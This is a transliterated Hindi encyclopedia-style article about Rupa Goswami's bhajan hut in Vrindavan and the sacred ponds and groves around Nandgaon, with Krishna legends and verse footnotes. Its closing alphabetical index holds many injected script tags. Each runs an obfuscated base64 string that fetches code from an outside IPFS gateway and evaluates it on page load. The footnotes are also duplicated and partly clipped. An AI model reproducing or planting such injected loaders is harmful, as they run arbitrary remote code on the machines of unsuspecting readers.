रूप गोस्वामी की भजनकुटी

uttar pradesh ke vrindavan nagar mean kadamb ter se sati huee pashchim mean shri roop gosvami ki bhajanakuti sthit hai. shri roopagosvami krishna ki madhur lilaoan ki smriti ke lie pray: is nirjan sthali mean bhajan karate the. ve yahaan par apane priy granthoan ki rachana bhi karate the. unhean jab kabhi-kabhi mahabhavamayi radhika ke vipralambh bhavoan ki sphoorti hoti, to hathath inake mukh se vipralambh bhavamay shlok nikal ate the. us samay yahaan ke kadamb vrikshoan ke sare patte us virahagni mean sookhakar niche gir jate tatha pun: inake hriday mean yugal milan ki sphoorti hote hi, inake padoan ko sunakar kadamb vrikshoan mean nee-nee kopalean nikal ati thian .

ek katha

ek samay shri sanatan gosvami shri roop gosvami se milane ke lie yahaan aye. un donoan mean krishna ki rasamayi kathaean hone lagian. donoan krishna katha mean itane avisht ho gaye ki unhean samay ka dhyan nahian raha. dopahar ke pashchath avesh kuchh kam hone par shriroop gosvami ne socha prasad grahan karane ka samay ho gaya hai, kintu mere pas kuchh bhi nahian hai, jo shri sanatan gosvami ko khila sakooan. isalie kuchh chintit ho gaye, itane mean hi sadharan vesh mean ek sundar-si balika vahaan upasthit huee aur roop gosvami ko kahane lagi- baba! meri maiya ne chaval, doodh aur chini mere hathoan se bheji hai, tum shighr khir banakar kha lena. yah kahakar vah chali gee. kintu tho di der mean vah pun: laut aee. baba! tumhean batachit karane se hi avasar nahian. at: maian svayan hi pakakar deti hooan. aisa kahakar usane jhat se as-pas se sookhe kande lakar apani phooank se hi ag paidakar tho di hi der mean atyant madhur evan sugandhit khir prastut kar di aur boli- baba! thakur ji ka bhog lagakar jaldi se pa lo. meri maiya daantegi. maian ja rahi hooan. aisa kahakar vah chali gee. shriroop gosvami ne shrikrishna ko samarpit kar khir sanatan gosvami ke age dhar di. donoan bhaeeyoan ne jab khir khaee to unhean radha-krishna ki sphoorti ho aee. ve ha radhe! ha radhe! kahakar vilap karane lage. sanatan gosvami ne kaha- maianne aisi madhur khir jivan mean kabhi nahian khayi. roop, kya bhojan ke lie tumane man-hi-man abhilasha ki thi? vah kishori aur koee nahian mahabhavamayi krishna priya radhikaji hi thian. bhavishy mean tum unhean is prakar kasht mat dena. apani truti samajhakar shriroop gosvami b da hi khed karane lage. jab unhean kuchh jhapaki aee to sapane mean shriradhika ji ne unhean darshan dekar apane madhur vachanoan se unhean saantvana di.

nandabag

shri roopagosvami ki bhajan-kuti ke samip hi dakshin mean nandabag hai. yahaan maharaj nand ka bagicha tha. tarah-tarah ke phal aur phooloan se lade hue hare-bhare vriksh aur lataean thi. nand maharaj ki yahaan ek khi dak (goshala) bhi thi. krishna baladev yahaan godohan ka bhi kary karate the tatha sakhaoan ke sath akha de mean mall-kri da ka abhyas bhi karate the. radhika ji apani saheliyoan ke sath javat gram se nand bhavan jate samay isi marg se jati thian.

prasang

ek samay radhika saheliyoan ke sath pak kriya ke lie nand-bhavan a rahi thian. yahaan ane se poorv kuchh door se sakhiyoan ne gval baloan ke sath krishna ko godohan karate dekha. lalita sakhi ne kaha- ham is marg ko chho dakar doosare marg se chalean. braj ka lampat choo damani godohan karate hue satrishn nayanoan se hamari or dekh raha hai. vah kuchh-n kuchh chhe dakhani karega hi. ham kuchh ghoomakar doosare raste se chalean. kintu radhika ji ne kaha- vah lampat kya kar lega? ham nirbhay hokar isi raste se chalean. aisa kahakar sakhiyoan ke sath ve isi marg se chalane lagian. jab ve agrasar hokar atyant nikat a gee, tab krishna ne godohan karate hue radhika ke mukhamandal par dugdh ki aisi dhar mari, jisase radha ji ka sara mukhamandal dugdhamay ho gaya. phir to sakha aur sakhiyoan mean anand ki hilorean uthane lagian. sabhi hansane lage. radhika ji ne bhauanhean tanakar krishna ki or dekha. kuchh door age badhane par unake gale ki muktamala tootakar prithvi par gir gee. ve baithakar bikhari huee muktaoan ka chayan karane lagian. sakhiyoan ne man hi man radha ji ka bhav bhaanp liya ki mukta chayan ke bahane ve priyatam ka kuchh kshanoan ke lie darshan kar rahi haian. shriroop gosvami ne in sab lila-smritiyoan ko apane ujjval nilamani adi granthoan mean 'gagar mean sagar' ki bhaanti sanjokar rakha hai.

ashisheshvar mahadev evan kund

nandabag se thik poorv mean tho di door par hi ashisheshvar mahadev evan ashisheshvar kund hai. yahaan snanakar parjany maharaj sarv prakar ki manokamanaoan ko poorn karane vale ashisheshvar mahadev ki aradhana karate the. tho di-si aradhana ke dvara hi prasann hokar manovaanchchhit ashirvad pradan karate haian, isalie inako ashisheshvar mahadev kahate haian. koee-koee brajavasi aisa bhi kahate haian ki inhian ke ashish se parjany maharaj ko sarvagun sampann paanch putr aur shrikrishna jaise sarvagun-sampann pautr ki prapti huee thi.

jalavihar kund

ashisheshvar kund ke pashchim mean jalavihar kund hai. yahaan krishna sakhaoan ke sath jalavihar karate haian.

jogiya sthal

krishnakund ke uttar-poorv mean sthit vriksh aur lataoan se pariveshtit yah ek manoram sthal hai. yahaan mahadev shankar krishna ki aradhana karate haian. isalie isako mahadev ji ki baithak bhi kahate haian. krishna ka darshan pane ke lie ve braj mean pagal se hokar idhar-udhar dol rahe the, parantu bahut cheshta karane par bhi krishna ka darshan nahian pa sake. kyoanki krishna kabhi sote rahate, to kabhi yashoda ka stan pan karate rahate. visheshakar maan yashoda jata-joot dharan kiye, sarpoan ki mala pahane, bail par savar, trishool dhari vichitr vesh vale jogi ko dekhakar kahian mere balak ko nazar nahian lag jaye, isalie balkrishna ka darshan karana nahian chahati thi. ant mean harakar yahian par asan lagakar shiv ne alakh jagaee arthat damaroo bajate hue zor-zor se 'alakh nirajann'-'alakh nirajann' pukarane lage. ve jitane hi zor se alakh niranjan kahate hue damaroo bajate, nandabhavan mean balkrishna utane hi zor se krandan karane lagate. n damaroo bajana thamata, n krishna ka krandan hi. ant mean sayani vriddh gopiyoan ne yashoda ji ko paramarsh diya, 'ho n ho yah usi jogi ki karatoot hai. vah nishchit hi koee mantr janata hai, at: kyoan n us jogi ko bulakar bachche ko shant kiya jay. gopiyoan ke paramarsh se vriddh gopiyaan shiv roopi yogi ke pas aee aur unase bolian- are jogi! nandarani yashomati tumhean nandabhavan mean bula rahi haian., chalo itana sunate hi shankar ji b de anandit hokar nandabhavan mean padhare. vahaan unhoanne raee aur namak hathoan mean lekar balkrishna ke sir par sparsh kar ashirvad diya. shankar ke hathoan ka sparsh pate hi nand lala ka rodan rook gaya aur ve hansakar kilakari marane lage. jogi ki ashcharyajanak mahima dekhakar nandarani b di prasann huee aur apani motiyoan ki mala unhean dan mean di aur jogi se bolian- jogi! tum isi nandabhavan mean raho aur jab-jab mera lala roe, tab-tab darshan dekar use shant karate rahana. sooradas ne is vishay ka apane pad mean bhavapoorn varnan kiya haian ^[1]

krishnakund

yah saghan kadamb vrikshoan ke bhitar ek atyant ramaniy sarovar hai jo nandishvar parvat ki poorv disha mean nikat hi avasthit hai. shrikrishna sakhaoan ke sath yahaan jal kri da karate the. isi kund ke uttari tat par gocharan ke lie jane ane ka marg hai. yahaan pyasi goooan ko krishna jalapan bhi karate the. chhitasvami ne gocharan ka apane padoan mean bahut hi marmik varnan kiya hai.^[2] uddhav ji jab nandagaanv padhare to rat bhar nandabhavan mean shrinand-yashoda ko saantvana dete rahe. brahm muhoort ke samay uddhav ji vahaan se akar isi kund mean snan kar kund ke dakshini tat par prat:kalin sandhya ahnik karane baithe. usi samay unhoanne kuchh doori par kadamb-kyari mean alakshit gopiyoan ko dekha. ve sandhya-ahnik ke pashchath kadamb-kyari mean gopiyoan se mile.

chhachh kund aur jhag da kund

krishna kund ke pashchim aur kuchh uttar ki or tho di hi door par krishna evan sakha gopiyoan se chhachh maangakar pite the. gopiyaan inhean prem se chhachh pilati thian. kabhi-kabhi ve, mujhe pahale lene do, mujhe pahale lene do! aisa kahakar paraspar l date-jhag date the. is bal-lila ke karan is kund ka nam chhachh kund aur jhag da kund p da.

sooryakund

yah krishna kund se dakshin ki or rajamarg par dahini or avasthit hai. yahaan soory narayan krishna ka tribhang lalit roop darshan kar adhir ho gaye the tatha kuchh der ke lie apani gati bhi bhool gaye.

lalita kund

sooryakund se poorv disha mean hare-bhare vanoan ke bhitar ek b da hi ramaniy sarovar hai. yah lalita ji ke snan karane ka sthan hai. kabhi–kabhi lalita ji kisi chhal-bahane se radhika ko yahaan lakar unaka krishna ke sath milan karati thian. yah kund nandagaanv ke poorv disha mean hai.

prasang

ek samay krishna ne radhika ko devarshi narad se savadhan rahane ke lie kaha. unhoanne kaha- devarshi b de atapate svabhav ke rrishi haian. kabhi-kabhi ye bap-bete, mata-pita ya pati-patni mean vivad bhi kara dete haian. at: inase savadhan rahana hi uchit hai. kintu radhika ji ne is bat ko hansakar tal diya. ek din lalita ji van se bela, chameli adi pushpoan ka chayan kar krishna ke lie ek sundar phooloan ka har bana rahian thian. har poorn ho jane par vah use bikher detian aur phir se naya har gooanthane lagatian. ve aisa bar-bar kar rahi thian. kahian vrikshoan ki ot se narad ji lalita ji ke pas pahuanche aur unase pun:-pun: har ko gooanthane aur bikherane ka karan poochha. lalita ji ne kaha ki maian har gooanthana poornakar leti hooan to mujhe aisa pratit hota hai ki yah har krishna ke lie ya to chhota hai ya b da hai. isalie maian aisa kar rahi hooan. kautuki narad ji ne kaha- krishna to pas hi mean khel rahe haian. at: kyoan n unhean pas hi bithakar unake gale ka map lekar har banao? aisa sunakar lalita ji ne krishna ko bulakar krishna ke anuroop sundar har gooanthakar krishna ko pahanaya. ab krishna lalita ji ke sath radha ji ki pratiksha karane lage. kyoanki radhika ne lalita se pahale hi aisa kaha tha ki tum har banao, maian turant a rahi hooan. kintu unake ane mean kuchh vilamb ho gaya. sakhiyaan unaka shrriangar kar rahi thian. narad ji ne pahale se hi shrikrishna se yah vachan le liya tha ki ve shrilalita aur shrikrishna yugal ko ek sath jhoole par jhoolate hue darshan karana chahate haian. at: aj avasar pakar unhoanne shrikrishna ko vachan ka smaran kara kar lalita ji ke sath jhoole par jhoolane ke lie pun:-pun: anurodh karane lage. narad ji ke pun:-pun: anurodh se radhika ki pratiksha karate hue donoan jhoole mean ek sath baithakar jhoolane lage. idhar devarshi, lalita-krishna ki jay ho, lalita-krishna ki jay ho, kirtan karate hue radhika ke nikat upasthit hue. radhika ne devarshi narad ji ko pranam kar poochha- devarshi! aj ap b de prasann hokar lalita-krishna ka jayagan kar rahe haian. kuchh ashchary ki bat avashy hai. akhir bat kya hai? narad ji muskarate hue bole- aha! kya sundar drishy hai. krishna sundar vanamala dharan kar lalita ji ke sath jhool rahe haian. apako vishvas n ho to ap svayan vahaan padharakar dekhean. parantu radhika ji ko narad ji ke vachanoan par vishvas nahian hua. meri anupasthiti mean lalita ji ke sath jhoola kaise sambhav hai? ve svayan uthakar aee aur door se unhean jhoolate hue dekha, ab to unhean b da rosh hua. ve laut aee aur apane kunj mean man karake baith gee. idhar krishna radha ji ke ane mean vilamb dekhakar svayan unake nikat aye. unhoanne narad ji ki sari karatootean batalakar kisi prakar unaka man shant kiya tatha unhean sath lekar jhoole par jhoolane lage. lalita aur vishakha unhean jhulane lagian. yah madhur lila yahian par sampann huee thi. kund ke nikat hi jhoola-jhoolane ka sthan tatha narad kund hai.

uddhav-kyari ya vishakha-kund

lalitakund se dakshin-poorv disha mean kuchh hi door kadamb-kyari ya uddhav-kyari sthit hai, yatharth mean yah vishakha ji ka kunj hai. pas hi vishakha kund hai. vishakha ji kadamb vrikshoan se ghire hue nirjan ramaniy van mean radha-krishna yugal ka paraspar milan karati thi. kabhi-kabhi yahaan krishna saheliyoan ko lekar radha ji ke sath ras bhi karate the. rasavedi bhi yahaan darshaniy hai. sarovar ke svachchh evan sugandhit jal mean nana-prakar se jal vihar bhi karate the. shrikrishna ke mathura chale jane par sara braj virah-samudr mean doob gaya. gop-gopiyoan ki bat hi kya? pashu, pakshi bhi bhojan-pan sab kuchh tyag kar krishna virah mean vyakul ho gaye. krishna ki priyatam gopiyaan akroor ke rath ke sath krishna ke pichhe-pichhe yahaan tak akar besudh hokar gir p di. ve phir kabhi ghar nahian lautian. alakshit roop mean virah se vyakul hokar radha ji isi gahan van mean kisi prakar krishna ke ane ki asha mean din ginati thian. unake pran kanth tak a gaye the. usi samay krishna ke doot uddhav ji virah vyathit gopiyoan ko saantvana dene ke lie yahaan padhare. kintu radhika ki virah-dasha dekhakar, unhoanne unhean door se hi pranam kiya. parantu kuchh kah nahian sake. isi samay virah vyakul radhika ek bhanvare ko krishna ka doot samajhakar divyonmad mean chitrajalp, prajalp adi karane lagian. ve bhanvare ko krishna ka doot samajhakar kabhi daantati-phatakaratian, kabhi ulahana detian, kabhi upadesh deti, kabhi doot ka samman karatian to kabhi usase priyatam ka kushalakshem poochhatian. use dekh-sunakar uddhav ji ashcharyachakit ho gaye. aye the guru banakar upadesh dene ke lie kintu, shishy ban gaye. unhoanne saantvana dene ke lie krishna ke kuchh sandesh gopiyoan ko sunaye. kintu usase gopiyoan ki virah vedana aur bhi tivr ho gee. gopiyoan ne kaha- oodho man n bhaye das bis, ek huto so gayo shyam sang, ko aradhe eesh. aur bhi, oodho jog kahaan rakhean, yahaan rom rom shyam hai. ant mean uddhav ji ne gopiyoan ke charanoan ki dhool grahan karane ke lie braj mean gulm, lata, ghas ke roop mean janm grahan karane ki abhilasha karate hue gopiyoan ki charan dhooli ki vandana ki.^[3] mere liye to yah param saubhagy ki bat hogi ki maian is vrindavan dham mean koee jha di, lata athava aushadhi-j di-booti hi ban jaooan. aha! yadi maian aisa ban jaooanga, to mujhe in brajagnanaoan ki charan dhooli nirantar sevan karane ke lie milati rahegi. inaki charan-raj mean snan karake maian dhany ho jaooanga. dhany haian ye gopiyaan! dekho to sahi, jinako chho dana atyant kathin hai, un svajan sambandhiyoan tatha lok-ved ki ary-maryada ka parityag karake, inhoanne bhagavan ki padavi unake sath tanmayata, unaka param prem prapt kar liya hai. nandababa ke braj mean rahane vali brajagnanaoan ki charan-dhooli ko maian baranbar pranam karata hooan. aha! in gopiyoan ne bhagavan krishna ki lilaoan ke sambandh mean jo kuchh gan kiya hai, vah tinoan lokoan ko pavitr kar raha hai aur pavitr karata rahega. ^[4] yah lila sthali ek or mahasambhog rasamayi tatha doosari or mahavipralambh rasamayi bhoomi hai. isake darshan aur sparsh se sadhak ka jivan kritarth ho jata hai.

poornamasi ji ki gufa

vishakha-kunj ya kadamb-kyari ke dakshin-poorv mean nandagaanv se ek mil ki doori par poornamasi ji ka kund hai. yahaan poornamasi ji ki kutir hai. ye krishnalila ke samay vriddh tapasvini ke roop mean gerooe vastr dharan kar gaanv se door nirjan sthan mean rahati thian. nandadi sabhi brajavasi inake prati b di hi shraddha rakhate the tatha inaka ashirvad lekar hi koee kary karate the. ye pahale avantipuri mean apane pati putr ke sath rahati thi. sandipani muni inake putr haian. madhumangal sandipani ke putr aur nandimukhi sandipani muni ki kanya thi. poornamasi ji krishna ke janm se poorv hi apane pautr madhumangal aur pautri nandimukhi ko sath lekar nandagaanv mean chali aee thian. ve pratidin prat:kal nandabhavan mean akar krishna ka darshan karati thian. tatha krishna ko ashirvad detian thi. ye shrikrishna ki svaroop shaktigat samashti lila shakti ki moort vigrah-svaroopini haian. prakat lila mean devarshi narad ji ki shishya haian tatha shriradha-krishna yugal ki sari lilaoan ki pushti karati haian.

nandimukhi ka nivas-sthan

poornamasi gufa ke pas hi nandimukhi ka nivas sthan hai. ye poornamasi ji ki pautri haian tatha krishnalila ki vividh prakar se pushtikarini haian.

doman van aur roonaki-jhunaki kund

poornamasi ji ki gufa se laga hua doman van hai. doman van mean hi roonaki-jhunaki kund haian. doman ka tatpary do man se hai. yahaan roonaki-jhunaki sakhiyoan ka kunj hai. ye donoan sakhiyaan nana prakar ke bahane banakar yahaan par radha-krishna ka milan karati thian. tatha donoan ko jhoole par baithakar anand se jhulati thian. yahaan radha-krishna donoan ka man milane ke karan yah doman nam se prasiddh hai. kisi bhakt ne prem bhare apane pad mean isaka varnan kiya hai-

it soan aee kumari kishori ut soan nandakishor.
do mil van kri da karat bolat panchhi mor..

tika tippani aur sandarbh

↑ chal re jogi nandabhavan mean yasumati tohi bulave. latakat-latakat sankar avai man mean mod badhave.. nandabhavan mean ayo jogi raee non kar lino. bar pher lala ke oopar hath shish par dino.. vitha bhee ab door badan ki kilak uthe nandalala. khushi bhee nand joo ki rani dini motiyan mala.. rahure ji nandabhavan mean braj ko baso kijai. jab jab mero lala rovai tab tab darshan dijai.. tum to jogi param manohar tumako ved bakhane. (shivabole) boodho baba nam hamaro soorashyam mohi janean..
↑ age gay pachhaian gay it gay ut gay. govind ho gayanahoan mean basavoan ko bhavaian.. gayan ke sang dhave gayan mean sachupavean. gayan ki khur raj aangasoan lagavean.. gayan soan vrajachhayau vaikund hu bisarayau. gayan ke het kar lai uthavean.. chhitasvami giridhari vitthalesh vapudhari. gvariya ko bhesh dharean gayan mean avean..
↑ asamaho charanarenujushamahan syaan vrindavane kimapi gulmalataushadhinamh. ya dustyajan svajanamaryapathanch hitva bhejumukundapadavian shrutibhirvimrigyamh..
↑ vande nandavrajastrinaan padarenumabhikshnash: . yasaan harikathodritan punati bhuvanatrayamh .. shrimadbhagavat 10/47/61,63

sanbandhit lekh

suvyavasthit lekh|link=bharatakosh:suvyavasthit lekh

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>au <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aan <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> k <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>kh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> g <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> gh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ch <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> chh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> j <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> t <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> th <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> d <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> dh 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[1] re jogi nandabhavan mean yasumati tohi bulave. latakat-latakat sankar avai man mean mod badhave.. nandabhavan mean ayo jogi raee non kar lino. bar pher lala ke oopar hath shish par dino.. vitha bhee ab door badan ki kilak uthe nandalala. khushi bhee nand joo ki rani dini motiyan mala.. rahure ji nandabhavan mean braj ko baso kijai. jab jab mero lala rovai tab tab darshan dijai.. tum to jogi param manohar tumako ved bakhane. (shivabole) boodho baba nam hamaro soorashyam mohi janean..

[2] y pachhaian gay it gay ut gay. govind ho gayanahoan mean basavoan ko bhavaian.. gayan ke sang dhave gayan mean sachupavean. gayan ki khur raj aangasoan lagavean.. gayan soan vrajachhayau vaikund hu bisarayau. gayan ke het kar lai uthavean.. chhitasvami giridhari vitthalesh vapudhari. gvariya ko bhesh dharean gayan mean avean..

[3] samaho charanarenujushamahan syaan vrindavane kimapi gulmalataushadhinamh. ya dustyajan svajanamaryapathanch hitva bhejumukundapadavian shrutibhirvimrigyamh..

[4] vande nandavrajastrinaan padarenumabhikshnash: . yasaan harikathodritan punati bhuvanatrayamh .. shrimadbhagavat 10/47/61,63

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